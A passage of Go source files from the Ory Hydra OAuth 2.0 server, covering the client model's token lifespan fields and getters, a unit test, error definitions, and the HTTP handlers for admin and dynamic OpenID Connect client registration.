db:"authorization_code_grant_id_token_lifespan"` // OAuth2 Authorization Code Grant Access Refresh Lifespan // // The lifespan of a refresh token issued by the OAuth 2.0 Authorization Code Grant for this OAuth 2.0 Client. AuthorizationCodeGrantRefreshTokenLifespan x.NullDuration `json:"authorization_code_grant_refresh_token_lifespan,omitempty" db:"authorization_code_grant_refresh_token_lifespan"` // OAuth2 Client Credentials Grant Access Token Lifespan // // The lifespan of an access token issued by the OAuth 2.0 Client Credentials Grant for this OAuth 2.0 Client. ClientCredentialsGrantAccessTokenLifespan x.NullDuration `json:"client_credentials_grant_access_token_lifespan,omitempty" db:"client_credentials_grant_access_token_lifespan"` // OpenID Connect Implicit Grant Access Token Lifespan // // The lifespan of an access token issued by the OpenID Connect Implicit Grant for this OAuth 2.0 Client. ImplicitGrantAccessTokenLifespan x.NullDuration `json:"implicit_grant_access_token_lifespan,omitempty" db:"implicit_grant_access_token_lifespan"` // OpenID Connect Implicit Grant ID Token Lifespan // // The lifespan of an ID token issued by the OpenID Connect Implicit Grant for this OAuth 2.0 Client. ImplicitGrantIDTokenLifespan x.NullDuration `json:"implicit_grant_id_token_lifespan,omitempty" db:"implicit_grant_id_token_lifespan"` // OpenID Connect Implicit Grant Access Token Lifespan // // The lifespan of an access token issued by the OpenID Connect Implicit Grant for this OAuth 2.0 Client. JwtBearerGrantAccessTokenLifespan x.NullDuration `json:"jwt_bearer_grant_access_token_lifespan,omitempty" db:"jwt_bearer_grant_access_token_lifespan"` // DEPRECATED: This field has no effect. PasswordGrantAccessTokenLifespan x.NullDuration `json:"-" db:"password_grant_access_token_lifespan"` // DEPRECATED: This field has no effect. PasswordGrantRefreshTokenLifespan x.NullDuration `json:"-" db:"password_grant_refresh_token_lifespan"` // OAuth2 2.0 Refresh Token Grant ID Token Lifespan // // The lifespan of an ID token issued by the OAuth2 2.0 Refresh Token Grant for this OAuth 2.0 Client. RefreshTokenGrantIDTokenLifespan x.NullDuration `json:"refresh_token_grant_id_token_lifespan,omitempty" db:"refresh_token_grant_id_token_lifespan"` // OAuth2 2.0 Refresh Token Grant Access Token Lifespan // // The lifespan of an access token issued by the OAuth2 2.0 Refresh Token Grant for this OAuth 2.0 Client. RefreshTokenGrantAccessTokenLifespan x.NullDuration `json:"refresh_token_grant_access_token_lifespan,omitempty" db:"refresh_token_grant_access_token_lifespan"` // OAuth2 2.0 Refresh Token Grant Refresh Token Lifespan // // The lifespan of a refresh token issued by the OAuth2 2.0 Refresh Token Grant for this OAuth 2.0 Client. RefreshTokenGrantRefreshTokenLifespan x.NullDuration `json:"refresh_token_grant_refresh_token_lifespan,omitempty" db:"refresh_token_grant_refresh_token_lifespan"` } func (Client) TableName() string { return "hydra_client" } func (c *Client) BeforeSave(_ *pop.Connection) error { if c.JSONWebKeys == nil { c.JSONWebKeys = new(x.JoseJSONWebKeySet) } if c.Metadata == nil { c.Metadata = []byte("{}") } if c.Audience == nil { c.Audience = sqlxx.StringSliceJSONFormat{} } if c.AllowedCORSOrigins == nil { c.AllowedCORSOrigins = sqlxx.StringSliceJSONFormat{} } if c.CreatedAt.IsZero() { c.CreatedAt = time.Now() } c.CreatedAt = c.CreatedAt.UTC() if c.UpdatedAt.IsZero() { c.UpdatedAt = time.Now() } c.UpdatedAt = c.UpdatedAt.UTC() return nil } func (c *Client) GetID() string { return stringsx.Coalesce(c.LegacyClientID, c.ID.String()) } func (c *Client) GetRedirectURIs() []string { return c.RedirectURIs } func (c *Client) GetHashedSecret() []byte { return []byte(c.Secret) } func (c *Client) GetScopes() fosite.Arguments { return fosite.Arguments(strings.Fields(c.Scope)) } func (c *Client) GetAudience() fosite.Arguments { return fosite.Arguments(c.Audience) } func (c *Client) GetGrantTypes() fosite.Arguments { // https://openid.net/specs/openid-connect-registration-1_0.html#ClientMetadata // // JSON array containing a list of the OAuth 2.0 Grant Types that the Client is declaring // that it will restrict itself to using. // If omitted, the default is that the Client will use only the authorization_code Grant Type. if len(c.GrantTypes) == 0 { return fosite.Arguments{"authorization_code"} } return fosite.Arguments(c.GrantTypes) } func (c *Client) GetResponseTypes() fosite.Arguments { // https://openid.net/specs/openid-connect-registration-1_0.html#ClientMetadata // // <JSON array containing a list of the OAuth 2.0 response_type values that the Client is declaring // that it will restrict itself to using. If omitted, the default is that the Client will use // only the code Response Type. if len(c.ResponseTypes) == 0 { return fosite.Arguments{"code"} } return fosite.Arguments(c.ResponseTypes) } func (c *Client) GetResponseModes() []fosite.ResponseModeType { return []fosite.ResponseModeType{ fosite.ResponseModeDefault, fosite.ResponseModeFormPost, fosite.ResponseModeQuery, fosite.ResponseModeFragment, } } func (c *Client) GetOwner() string { return c.Owner } func (c *Client) IsPublic() bool { return c.TokenEndpointAuthMethod == "none" } func (c *Client) GetJSONWebKeysURI() string { return c.JSONWebKeysURI } func (c *Client) GetJSONWebKeys() *jose.JSONWebKeySet { if c.JSONWebKeys == nil { return nil } return c.JSONWebKeys.JSONWebKeySet } func (c *Client) GetTokenEndpointAuthSigningAlgorithm() string { if c.TokenEndpointAuthSigningAlgorithm == "" { return "RS256" } return c.TokenEndpointAuthSigningAlgorithm } func (c *Client) GetRequestObjectSigningAlgorithm() string { return c.RequestObjectSigningAlgorithm } func (c *Client) GetTokenEndpointAuthMethod() string { if c.TokenEndpointAuthMethod == "" { return "client_secret_basic" } return c.TokenEndpointAuthMethod } func (c *Client) GetRequestURIs() []string { return c.RequestURIs } var _ fosite.ClientWithCustomTokenLifespans = &Client{} func (c *Client) GetEffectiveLifespan(gt fosite.GrantType, tt fosite.TokenType, fallback time.Duration) time.Duration { var cl *time.Duration if gt == fosite.GrantTypeAuthorizationCode { if tt == fosite.AccessToken && c.AuthorizationCodeGrantAccessTokenLifespan.Valid { cl = &c.AuthorizationCodeGrantAccessTokenLifespan.Duration } else if tt == fosite.IDToken && c.AuthorizationCodeGrantIDTokenLifespan.Valid { cl = &c.AuthorizationCodeGrantIDTokenLifespan.Duration } else if tt == fosite.RefreshToken && c.AuthorizationCodeGrantRefreshTokenLifespan.Valid { cl = &c.AuthorizationCodeGrantRefreshTokenLifespan.Duration } } else if gt == fosite.GrantTypeClientCredentials { if tt == fosite.AccessToken && c.ClientCredentialsGrantAccessTokenLifespan.Valid { cl = &c.ClientCredentialsGrantAccessTokenLifespan.Duration } } else if gt == fosite.GrantTypeImplicit { if tt == fosite.AccessToken && c.ImplicitGrantAccessTokenLifespan.Valid { cl = &c.ImplicitGrantAccessTokenLifespan.Duration } else if tt == fosite.IDToken && c.ImplicitGrantIDTokenLifespan.Valid { cl = &c.ImplicitGrantIDTokenLifespan.Duration } } else if gt == fosite.GrantTypeJWTBearer { if tt == fosite.AccessToken && c.JwtBearerGrantAccessTokenLifespan.Valid { cl = &c.JwtBearerGrantAccessTokenLifespan.Duration } } else if gt == fosite.GrantTypePassword { if tt == fosite.AccessToken && c.PasswordGrantAccessTokenLifespan.Valid { cl = &c.PasswordGrantAccessTokenLifespan.Duration } else if tt == fosite.RefreshToken && c.PasswordGrantRefreshTokenLifespan.Valid { cl = &c.PasswordGrantRefreshTokenLifespan.Duration } } else if gt == fosite.GrantTypeRefreshToken { if tt == fosite.AccessToken && c.RefreshTokenGrantAccessTokenLifespan.Valid { cl = &c.RefreshTokenGrantAccessTokenLifespan.Duration } else if tt == fosite.IDToken && c.RefreshTokenGrantIDTokenLifespan.Valid { cl = &c.RefreshTokenGrantIDTokenLifespan.Duration } else if tt == fosite.RefreshToken && c.RefreshTokenGrantRefreshTokenLifespan.Valid { cl = &c.RefreshTokenGrantRefreshTokenLifespan.Duration } } if cl == nil { return fallback } return *cl } func (c *Client) GetAccessTokenStrategy() config.AccessTokenStrategyType { // We ignore the error here, because the empty string will default to // the global access token strategy. s, _ := config.ToAccessTokenStrategyType(c.AccessTokenStrategy) return s } func AccessTokenStrategySource(client fosite.Client) config.AccessTokenStrategySource { if source, ok := client.(config.AccessTokenStrategySource); ok { return source } return nil } func (c *Client) CookieSuffix() string { return CookieSuffix(c) } type IDer interface{ GetID() string } func CookieSuffix(client IDer) string { return strconv.Itoa(int(murmur3.Sum32([]byte(client.GetID())))) }
Go
hydra/client/client_test.go
// Copyright © 2022 Ory Corp // SPDX-License-Identifier: Apache-2.0 package client import ( "testing" "github.com/stretchr/testify/assert" "github.com/ory/fosite" ) var _ fosite.OpenIDConnectClient = new(Client) var _ fosite.Client = new(Client) func TestClient(t *testing.T) { c := &Client{ LegacyClientID: "foo", RedirectURIs: []string{"foo"}, Scope: "foo bar", TokenEndpointAuthMethod: "none", } assert.EqualValues(t, c.RedirectURIs, c.GetRedirectURIs()) assert.EqualValues(t, []byte(c.Secret), c.GetHashedSecret()) assert.EqualValues(t, fosite.Arguments{"authorization_code"}, c.GetGrantTypes()) assert.EqualValues(t, fosite.Arguments{"code"}, c.GetResponseTypes()) assert.EqualValues(t, c.Owner, c.GetOwner()) assert.True(t, c.IsPublic()) assert.Len(t, c.GetScopes(), 2) assert.EqualValues(t, c.RedirectURIs, c.GetRedirectURIs()) }
Go
hydra/client/error.go
// Copyright © 2022 Ory Corp // SPDX-License-Identifier: Apache-2.0 package client import ( "net/http" "github.com/ory/fosite" ) var ErrInvalidClientMetadata = &fosite.RFC6749Error{ DescriptionField: "The value of one of the Client Metadata fields is invalid and the server has rejected this request. Note that an Authorization Server MAY choose to substitute a valid value for any requested parameter of a Client's Metadata.", ErrorField: "invalid_client_metadata", CodeField: http.StatusBadRequest, } var ErrInvalidRedirectURI = &fosite.RFC6749Error{ DescriptionField: "The value of one or more redirect_uris is invalid.", ErrorField: "invalid_redirect_uri", CodeField: http.StatusBadRequest, } var ErrInvalidRequest = &fosite.RFC6749Error{ DescriptionField: "The request is missing a required parameter, includes an unsupported parameter value (other than grant type), repeats a parameter, includes multiple credentials, utilizes more than one mechanism for authenticating the client, or is otherwise malformed.", ErrorField: "invalid_request", CodeField: http.StatusBadRequest, }
Go
hydra/client/handler.go
// Copyright © 2022 Ory Corp // SPDX-License-Identifier: Apache-2.0 package client import ( "context" "crypto/subtle" "encoding/json" "io" "net/http" "strings" "time" "github.com/ory/x/pagination/tokenpagination" "github.com/ory/x/httprouterx" "github.com/ory/x/openapix" "github.com/ory/x/uuidx" "github.com/ory/x/jsonx" "github.com/ory/x/urlx" "github.com/ory/fosite" "github.com/ory/x/errorsx" "github.com/ory/herodot" "github.com/ory/hydra/v2/x" "github.com/julienschmidt/httprouter" "github.com/pkg/errors" ) type Handler struct { r InternalRegistry } const ( ClientsHandlerPath = "/clients" DynClientsHandlerPath = "/oauth2/register" ) func NewHandler(r InternalRegistry) *Handler { return &Handler{ r: r, } } func (h *Handler) SetRoutes(admin *httprouterx.RouterAdmin, public *httprouterx.RouterPublic) { admin.GET(ClientsHandlerPath, h.listOAuth2Clients) admin.POST(ClientsHandlerPath, h.createOAuth2Client) admin.GET(ClientsHandlerPath+"/:id", h.Get) admin.PUT(ClientsHandlerPath+"/:id", h.setOAuth2Client) admin.PATCH(ClientsHandlerPath+"/:id", h.patchOAuth2Client) admin.DELETE(ClientsHandlerPath+"/:id", h.deleteOAuth2Client) admin.PUT(ClientsHandlerPath+"/:id/lifespans", h.setOAuth2ClientLifespans) public.POST(DynClientsHandlerPath, h.createOidcDynamicClient) public.GET(DynClientsHandlerPath+"/:id", h.getOidcDynamicClient) public.PUT(DynClientsHandlerPath+"/:id", h.setOidcDynamicClient) public.DELETE(DynClientsHandlerPath+"/:id", h.deleteOidcDynamicClient) } // OAuth 2.0 Client Creation Parameters // // swagger:parameters createOAuth2Client // //lint:ignore U1000 Used to generate Swagger and OpenAPI definitions type createOAuth2Client struct { // OAuth 2.0 Client Request Body // // in: body // required: true Body Client } // swagger:route POST /admin/clients oAuth2 createOAuth2Client // // # Create OAuth 2.0 Client // // Create a new OAuth 2.0 client. If you pass `client_secret` the secret is used, otherwise a random secret // is generated. The secret is echoed in the response. It is not possible to retrieve it later on. // // Consumes: // - application/json // // Produces: // - application/json // // Schemes: http, https // // Responses: // 201: oAuth2Client // 400: errorOAuth2BadRequest // default: errorOAuth2Default func (h *Handler) createOAuth2Client(w http.ResponseWriter, r *http.Request, _ httprouter.Params) { c, err := h.CreateClient(r, h.r.ClientValidator().Validate, false) if err != nil { h.r.Writer().WriteError(w, r, err) return } h.r.Writer().WriteCreated(w, r, "/admin"+ClientsHandlerPath+"/"+c.GetID(), &c) } // OpenID Connect Dynamic Client Registration Parameters // // swagger:parameters createOidcDynamicClient // //lint:ignore U1000 Used to generate Swagger and OpenAPI definitions type createOidcDynamicClient struct { // Dynamic Client Registration Request Body // // in: body // required: true Body Client } // swagger:route POST /oauth2/register oidc createOidcDynamicClient // // # Register OAuth2 Client using OpenID Dynamic Client Registration // // This endpoint behaves like the administrative counterpart (`createOAuth2Client`) but is capable of facing the // public internet directly and can be used in self-service. It implements the OpenID Connect // Dynamic Client Registration Protocol. This feature needs to be enabled in the configuration. This endpoint // is disabled by default. It can be enabled by an administrator. // // Please note that using this endpoint you are not able to choose the `client_secret` nor the `client_id` as those // values will be server generated when specifying `token_endpoint_auth_method` as `client_secret_basic` or // `client_secret_post`. // // The `client_secret` will be returned in the response and you will not be able to retrieve it later on. // Write the secret down and keep it somewhere safe. // // Consumes: // - application/json // // Produces: // - application/json // // Schemes: http, https // // Responses: // 201: oAuth2Client // 400: errorOAuth2BadRequest // default: errorOAuth2Default func (h *Handler) createOidcDynamicClient(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { if err := h.requireDynamicAuth(r); err != nil { h.r.Writer().WriteError(w, r, err) return } c, err := h.CreateClient(r, h.r.ClientValidator().ValidateDynamicRegistration, true) if err != nil { h.r.Writer().WriteError(w, r, errorsx.WithStack(err)) return } h.r.Writer().WriteCreated(w, r, "/admin"+ClientsHandlerPath+"/"+c.GetID(), &c) } func (h *Handler) CreateClient(r *http.Request, validator func(context.Context, *Client) error, isDynamic bool) (*Client, error) { var c Client if err := json.NewDecoder(r.Body).Decode(&c); err != nil { return nil, errorsx.WithStack(herodot.ErrBadRequest.WithReasonf("Unable to decode the request body: %s", err)) } if isDynamic { if c.Secret != "" { return nil, errorsx.WithStack(herodot.ErrBadRequest.WithReasonf("It is not allowed to choose your own OAuth2 Client secret.")) } } if len(c.LegacyClientID) > 0 { return nil, errorsx.WithStack(herodot.ErrBadRequest.WithReason("It is no longer possible to set an OAuth2 Client ID as a user. The system will generate a unique ID for you.")) } c.ID = uuidx.NewV4() c.LegacyClientID = c.ID.String() if len(c.Secret) == 0 { secretb, err := x.GenerateSecret(26) if err != nil { return nil, err } c.Secret = string(secretb) } if err := validator(r.Context(), &c); err != nil { return nil, err } secret := c.Secret c.CreatedAt = time.Now().UTC().Round(time.Second) c.UpdatedAt = c.CreatedAt token, signature, err := h.r.OAuth2HMACStrategy().GenerateAccessToken(r.Context(), nil) if err != nil { return nil, err } c.RegistrationAccessToken = token c.RegistrationAccessTokenSignature = signature c.RegistrationClientURI = urlx.AppendPaths(h.r.Config().PublicURL(r.Context()), DynClientsHandlerPath+"/"+c.GetID()).String() if err := h.r.ClientManager().CreateClient(r.Context(), &c); err != nil { return nil, err } c.Secret = "" if !c.IsPublic() { c.Secret = secret } return &c, nil } // Set OAuth 2.0 Client Parameters // // swagger:parameters setOAuth2Client // //lint:ignore U1000 Used to generate Swagger and OpenAPI definitions type setOAuth2Client struct { // OAuth 2.0 Client ID // // in: path // required: true ID string `json:"id"` // OAuth 2.0 Client Request Body // // in: body // required: true Body Client } // swagger:route PUT /admin/clients/{id} oAuth2 setOAuth2Client // // # Set OAuth 2.0 Client // // Replaces an existing OAuth 2.0 Client with the payload you send. If you pass `client_secret` the secret is used, // otherwise the existing secret is used. // // If set, the secret is echoed in the response. It is not possible to retrieve it later on. // // OAuth 2.0 Clients are used to perform OAuth 2.0 and OpenID Connect flows. Usually, OAuth 2.0 clients are // generated for applications which want to consume your OAuth 2.0 or OpenID Connect capabilities. // // Consumes: // - application/json // // Produces: // - application/json // // Schemes: http, https // // Responses: // 200: oAuth2Client // 400: errorOAuth2BadRequest // 404: errorOAuth2NotFound // default: errorOAuth2Default func (h *Handler) setOAuth2Client(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { var c Client if err := json.NewDecoder(r.Body).Decode(&c); err != nil { h.r.Writer().WriteError(w, r, errorsx.WithStack(herodot.ErrBadRequest.WithReasonf("Unable to decode the request body: %s", err))) return } c.LegacyClientID = ps.ByName("id") if err := h.updateClient(r.Context(), &c, h.r.ClientValidator().Validate); err != nil { h.r.Writer().WriteError(w, r, err) return } h.r.Writer().Write(w, r, &c) } func (h *Handler) updateClient(ctx context.Context, c *Client, validator func(context.Context, *Client) error) error { var secret string if len(c.Secret) > 0 { secret = c.Secret } if err := validator(ctx, c); err != nil { return err } c.UpdatedAt = time.Now().UTC().Round(time.Second) if err := h.r.ClientManager().UpdateClient(ctx, c); err != nil { return err } c.Secret = secret return nil } // Set Dynamic Client Parameters // // swagger:parameters setOidcDynamicClient // //lint:ignore U1000 Used to generate Swagger and OpenAPI definitions type setOidcDynamicClient struct { // OAuth 2.0 Client ID // // in: path // required: true ID string `json:"id"` // OAuth 2.0 Client Request Body // // in: body // required: true Body Client } // swagger:route PUT /oauth2/register/{id} oidc setOidcDynamicClient // // # Set OAuth2 Client using OpenID Dynamic Client Registration // // This endpoint behaves like the administrative counterpart (`setOAuth2Client`) but is capable of facing the // public internet directly to be used by third parties. It implements the OpenID Connect // Dynamic Client Registration Protocol. // // This feature is disabled per default. It can be enabled by a system administrator. // // If you pass `client_secret` the secret is used, otherwise the existing secret is used. If set, the secret is echoed in the response. // It is not possible to retrieve it later on. // // To use this endpoint, you will need to present the client's authentication credentials. If the OAuth2 Client // uses the Token Endpoint Authentication Method `client_secret_post`, you need to present the client secret in the URL query. // If it uses `client_secret_basic`, present the Client ID and the Client Secret in the Authorization header. // // OAuth 2.0 clients are used to perform OAuth 2.0 and OpenID Connect flows. Usually, OAuth 2.0 clients are // generated for applications which want to consume your OAuth 2.0 or OpenID Connect capabilities. // // Consumes: // - application/json // // Produces: // - application/json // // Security: // bearer: // // Schemes: http, https // // Responses: // 200: oAuth2Client // 404: errorOAuth2NotFound // default: errorOAuth2Default func (h *Handler) setOidcDynamicClient(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { if err := h.requireDynamicAuth(r); err != nil { h.r.Writer().WriteError(w, r, err) return } client, err := h.ValidDynamicAuth(r, ps) if err != nil { h.r.Writer().WriteError(w, r, err) return } var c Client if err := json.NewDecoder(r.Body).Decode(&c); err != nil { h.r.Writer().WriteError(w, r, errorsx.WithStack(herodot.ErrBadRequest.WithReasonf("Unable to decode the request body. Is it valid JSON?").WithDebug(err.Error()))) return } if c.Secret != "" { h.r.Writer().WriteError(w, r, errorsx.WithStack(herodot.ErrForbidden.WithReasonf("It is not allowed to choose your own OAuth2 Client secret."))) return } // Regenerate the registration access token token, signature, err := h.r.OAuth2HMACStrategy().GenerateAccessToken(r.Context(), nil) if err != nil { h.r.Writer().WriteError(w, r, err) return } c.RegistrationAccessToken = token c.RegistrationAccessTokenSignature = signature c.LegacyClientID = client.GetID() if err := h.updateClient(r.Context(), &c, h.r.ClientValidator().ValidateDynamicRegistration); err != nil { h.r.Writer().WriteError(w, r, err) return } h.r.Writer().Write(w, r, &c) } // Patch OAuth 2.0 Client Parameters // // swagger:parameters patchOAuth2Client // //lint:ignore U1000 Used to generate Swagger and OpenAPI definitions type patchOAuth2Client struct { // The id of the OAuth 2.0 Client. // // in: path // required: true ID string `json:"id"` // OAuth 2.0 Client JSON Patch Body // // in: body // required: true Body openapix.JSONPatchDocument } // swagger:route PATCH /admin/clients/{id} oAuth2 patchOAuth2Client // // # Patch OAuth 2.0 Client // // Patch an existing OAuth 2.0 Client using JSON Patch. If you pass `client_secret` // the secret will be updated and returned via the API. This is the // only time you will be able to retrieve the client secret, so write it down and keep it safe. // // OAuth 2.0 clients are used to perform OAuth 2.0 and OpenID Connect flows. Usually, OAuth 2.0 clients are // generated for applications which want to consume your OAuth 2.0 or OpenID Connect capabilities. // // Consumes: // - application/json // // Produces: // - application/json // // Schemes: http, https // // Responses: // 200: oAuth2Client // 404: errorOAuth2NotFound // default: errorOAuth2Default func (h *Handler) patchOAuth2Client(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { patchJSON, err := io.ReadAll(r.Body) if err != nil { h.r.Writer().WriteError(w, r, err) return } id := ps.ByName("id") c, err := h.r.ClientManager().GetConcreteClient(r.Context(), id) if err != nil { h.r.Writer().WriteError(w, r, err) return } oldSecret := c.Secret if err := jsonx.ApplyJSONPatch(patchJSON, c, "/id"); err != nil { h.r.Writer().WriteError(w, r, err) return } // fix for #2869 // GetConcreteClient returns a client with the hashed secret, however updateClient expects // an empty secret if the secret hasn't changed. As such we need to check if the patch has // updated the secret or not if oldSecret == c.Secret { c.Secret = "" } if err := h.updateClient(r.Context(), c, h.r.ClientValidator().Validate); err != nil { h.r.Writer().WriteError(w, r, err) return } h.r.Writer().Write(w, r, c) } // Paginated OAuth2 Client List Response // // swagger:response listOAuth2Clients // //lint:ignore U1000 Used to generate Swagger and OpenAPI definitions type listOAuth2ClientsResponse struct { tokenpagination.ResponseHeaders // List of OAuth 2.0 Clients // // in:body Body []Client } // Paginated OAuth2 Client List Parameters // // swagger:parameters listOAuth2Clients // //lint:ignore U1000 Used to generate Swagger and OpenAPI definitions type listOAuth2ClientsParameters struct { tokenpagination.RequestParameters // The name of the clients to filter by. // // in: query Name string `json:"client_name"` // The owner of the clients to filter by. // // in: query Owner string `json:"owner"` } // swagger:route GET /admin/clients oAuth2 listOAuth2Clients // // # List OAuth 2.0 Clients // // This endpoint lists all clients in the database, and never returns client secrets. // As a default it lists the first 100 clients. // // Consumes: // - application/json // // Produces: // - application/json // // Schemes: http, https // // Responses: // 200: listOAuth2Clients // default: errorOAuth2Default func (h *Handler) listOAuth2Clients(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { page, itemsPerPage := x.ParsePagination(r) filters := Filter{ Limit: itemsPerPage, Offset: page * itemsPerPage, Name: r.URL.Query().Get("client_name"), Owner: r.URL.Query().Get("owner"), } c, err := h.r.ClientManager().GetClients(r.Context(), filters) if err != nil { h.r.Writer().WriteError(w, r, err) return } if c == nil { c = []Client{} } for k := range c { c[k].Secret = "" } total, err := h.r.ClientManager().CountClients(r.Context()) if err != nil { h.r.Writer().WriteError(w, r, err) return } x.PaginationHeader(w, r.URL, int64(total), page, itemsPerPage) h.r.Writer().Write(w, r, c) } // Get OAuth2 Client Parameters // // swagger:parameters getOAuth2Client // //lint:ignore U1000 Used to generate Swagger and OpenAPI definitions type adminGetOAuth2Client struct { // The id of the OAuth 2.0 Client. // // in: path // required: true ID string `json:"id"` } // swagger:route GET /admin/clients/{id} oAuth2 getOAuth2Client // // # Get an OAuth 2.0 Client // // Get an OAuth 2.0 client by its ID. This endpoint never returns the client secret. // // OAuth 2.0 clients are used to perform OAuth 2.0 and OpenID Connect flows. Usually, OAuth 2.0 clients are // generated for applications which want to consume your OAuth 2.0 or OpenID Connect capabilities. // // Consumes: // - application/json // // Produces: // - application/json // // Schemes: http, https // // Responses: // 200: oAuth2Client // default: errorOAuth2Default func (h *Handler) Get(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { var id = ps.ByName("id") c, err := h.r.ClientManager().GetConcreteClient(r.Context(), id) if err != nil { h.r.Writer().WriteError(w, r, err) return } c.Secret = "" h.r.Writer().Write(w, r, c) } // Get OpenID Connect Dynamic Client Parameters // // swagger:parameters getOidcDynamicClient // //lint:ignore U1000 Used to generate Swagger and OpenAPI definitions type getOidcDynamicClient struct { // The id of the OAuth 2.0 Client. // // in: path // required: true ID string `json:"id"` } // swagger:route GET /oauth2/register/{id} oidc getOidcDynamicClient // // # Get OAuth2 Client using OpenID Dynamic Client Registration // // This endpoint behaves like the administrative counterpart (`getOAuth2Client`) but is capable of facing the // public internet directly and can be used in self-service. It implements the OpenID Connect // Dynamic Client Registration Protocol. // // To use this endpoint, you will need to present the client's authentication credentials. If the OAuth2 Client // uses the Token Endpoint Authentication Method `client_secret_post`, you need to present the client secret in the URL query. // If it uses `client_secret_basic`, present the Client ID and the Client Secret in the Authorization header. // // Consumes: // - application/json // // Produces: // - application/json // // Schemes: http, https // // Security: // bearer: // // Responses: // 200: oAuth2Client // default: errorOAuth2Default func (h *Handler) getOidcDynamicClient(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { if err := h.requireDynamicAuth(r); err != nil { h.r.Writer().WriteError(w, r, err) return } client, err := h.ValidDynamicAuth(r, ps) if err != nil { h.r.Writer().WriteError(w, r, err) return } c, err := h.r.ClientManager().GetConcreteClient(r.Context(), client.GetID()) if err != nil { err = herodot.ErrUnauthorized.WithReason("The requested OAuth 2.0 client does not exist or you did not provide the necessary credentials") h.r.Writer().WriteError(w, r, err) return } c.Secret = "" c.Metadata = nil h.r.Writer().Write(w, r, c) } // Delete OAuth2 Client Parameters // // swagger:parameters deleteOAuth2Client // //lint:ignore U1000 Used to generate Swagger and OpenAPI definitions type deleteOAuth2Client struct { // The id of the OAuth 2.0 Client. // // in: path // required: true ID string `json:"id"` } // swagger:route DELETE /admin/clients/{id} oAuth2 deleteOAuth2Client // // # Delete OAuth 2.0 Client // // Delete an existing OAuth 2.0 Client by its ID. // // OAuth 2.0 clients are used to perform OAuth 2.0 and OpenID Connect flows. Usually, OAuth 2.0 clients are // generated for applications which want to consume your OAuth 2.0 or OpenID Connect capabilities. // // Make sure that this endpoint is well protected and only callable by first-party components. // // Consumes: // - application/json // // Produces: // - application/json // // Schemes: http, https // // Responses: // 204: emptyResponse // default: genericError func (h *Handler) deleteOAuth2Client(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { var id = ps.ByName("id") if err := h.r.ClientManager().DeleteClient(r.Context(), id); err != nil { h.r.Writer().WriteError(w, r, err) return } w.WriteHeader(http.StatusNoContent) } // Set OAuth 2.0 Client Token Lifespans // // swagger:parameters setOAuth2ClientLifespans // //lint:ignore U1000 Used to generate Swagger and OpenAPI definitions type setOAuth2ClientLifespans struct { // OAuth 2.0 Client ID // // in: path // required: true ID string `json:"id"` // in: body Body Lifespans } // swagger:route PUT /admin/clients/{id}/lifespans oAuth2 setOAuth2ClientLifespans // // # Set OAuth2 Client Token Lifespans // // Set lifespans of different token types issued for this OAuth 2.0 client. Does not modify other fields. // // Consumes: // - application/json // // Schemes: http, https // // Responses: // 200: oAuth2Client // default: genericError func (h *Handler) setOAuth2ClientLifespans(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { var id = ps.ByName("id") c, err := h.r.ClientManager().GetConcreteClient(r.Context(), id) if err != nil { h.r.Writer().WriteError(w, r, err) return } var ls Lifespans if err := json.NewDecoder(r.Body).Decode(&ls); err != nil { h.r.Writer().WriteError(w, r, errorsx.WithStack(herodot.ErrBadRequest.WithReasonf("Unable to decode the request body: %s", err))) return } c.Lifespans = ls c.Secret = "" if err := h.updateClient(r.Context(), c, h.r.ClientValidator().Validate); err != nil { h.r.Writer().WriteError(w, r, err) return } h.r.Writer().Write(w, r, c) } // swagger:parameters deleteOidcDynamicClient // //lint:ignore U1000 Used to generate Swagger and OpenAPI definitions type dynamicClientRegistrationDeleteOAuth2Client struct { // The id of the OAuth 2.0 Client. // // in: path // required: true ID string `json:"id"` } // swagger:route DELETE /oauth2/register/{id} oidc deleteOidcDynamicClient // // # Delete OAuth 2.0 Client using the OpenID Dynamic Client Registration Management Protocol // // This endpoint behaves like the administrative counterpart (`deleteOAuth2Client`) but is capable of facing the // public internet directly and can be used in self-service. It implements the OpenID Connect // Dynamic Client Registration Protocol. This feature needs to be enabled in the configuration. This endpoint // is disabled by default. It can be enabled by an administrator. // // To use this endpoint, you will need to present the client's authentication credentials. If the OAuth2 Client // uses the Token Endpoint Authentication Method `client_secret_post`, you need to present the client secret in the URL query. // If it uses `client_secret_basic`, present the Client ID and the Client Secret in the Authorization header. // // OAuth 2.0 clients are used to perform OAuth 2.0 and OpenID Connect flows. Usually, OAuth 2.0 clients are // generated for applications which want to consume your OAuth 2.0 or OpenID Connect capabilities. // // Produces: // - application/json // // Schemes: http, https // // Security: // bearer: // // Responses: // 204: emptyResponse // default: genericError func (h *Handler) deleteOidcDynamicClient(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { if err := h.requireDynamicAuth(r); err != nil { h.r.Writer().WriteError(w, r, err) return } client, err := h.ValidDynamicAuth(r, ps) if err != nil { h.r.Writer().WriteError(w, r, err) return } if err := h.r.ClientManager().DeleteClient(r.Context(), client.GetID()); err != nil { h.r.Writer().WriteError(w, r, err) return } w.WriteHeader(http.StatusNoContent) } func (h *Handler) ValidDynamicAuth(r *http.Request, ps httprouter.Params) (fosite.Client, error) { c, err := h.r.ClientManager().GetConcreteClient(r.Context(), ps.ByName("id")) if err != nil { return nil, herodot.ErrUnauthorized. WithTrace(err). WithReason("The requested OAuth 2.0 client does not exist or you provided incorrect credentials.").WithDebug(err.Error()) } if len(c.RegistrationAccessTokenSignature) == 0 { return nil, errors.WithStack(herodot.ErrUnauthorized. WithReason("The requested OAuth 2.0 client does not exist or you provided incorrect credentials.").WithDebug("The OAuth2 Client does not have a registration access token.")) } token := strings.TrimPrefix(fosite.AccessTokenFromRequest(r), "ory_at_") if err := h.r.OAuth2HMACStrategy().Enigma.Validate(r.Context(), token); err != nil { return nil, herodot.ErrUnauthorized. WithTrace(err). WithReason("The requested OAuth 2.0 client does not exist or you provided incorrect credentials.").WithDebug(err.Error()) } signature := h.r.OAuth2HMACStrategy().Enigma.Signature(token) if subtle.ConstantTimeCompare([]byte(c.RegistrationAccessTokenSignature), []byte(signature)) == 0 { return nil, errors.WithStack(herodot.ErrUnauthorized. WithReason("The 